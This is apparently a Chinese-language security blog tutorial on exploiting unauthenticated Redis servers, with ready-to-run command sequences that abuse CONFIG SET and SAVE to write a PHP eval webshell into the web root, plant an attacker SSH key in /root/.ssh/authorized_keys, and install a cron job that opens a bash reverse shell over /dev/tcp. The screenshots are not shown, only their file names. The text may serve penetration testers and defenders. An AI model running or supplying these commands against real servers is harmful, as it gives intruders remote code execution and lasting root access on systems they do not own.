发布于 

Redis未授权访问漏洞

1. 漏洞来源

在Redis 默认没有配置密码的情况下可以使用redis-cli直接成功连接目标Redis服务器

image-20221008201202675

2. 漏洞利用

为了保证效率,redis的数据都是缓存在内存中,并周期性把更新的数据写入磁盘或者把修改操作写入到记录件。攻击者在未授权访问redis的情况下,可以随时执行“save”命令,将当前Redis的数据保存到硬盘上。利用这个操作可以进行任意文件写入,所以通常redis未授权的利用方式有如下三种:

  • 通过向Web目录中写webshell的方式进行getshell
  • 通过写SSH key的方式进行getshell
  • 通过写corntab的方式进行getshell

image-20221008201232518

3. 写webshell

限制条件:

  • Web目录已知
  • 当前用户在该目录下有写权限
1
2
3
4
5
# 受害机
set xx "\n\n<?php @eval($_POST['cmd'])?>\n\n"
config set dir /var/www/html
config set dbfilename a.php
save

image-20221008203132705

用蚁剑连接测试:

image-20221008203433730

4. SSH Key连接

限制条件:

  • Redis服务使用ROOT账号启动
  • 服务器开放了SSH服务
  • 允许使用密钥登录

4.1 生成密钥对

1
ssh-keygen -t rsa

image-20221008204527545

4.2 将公钥写入Redis

1
(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")|redis-cli -h 192.168.2.213 -x set attack

image-20221008210033236

4.3 生成文件

1
2
config set dir /root/.ssh
config set dbfilename authorized_keys

image-20221008210312651

4.4 测试连接

image-20221008210348311

5. crontab反弹Shell

1
2
3
4
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/127.0.0.1/9888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

image-20221008211821697

结果:

image-20221008211940140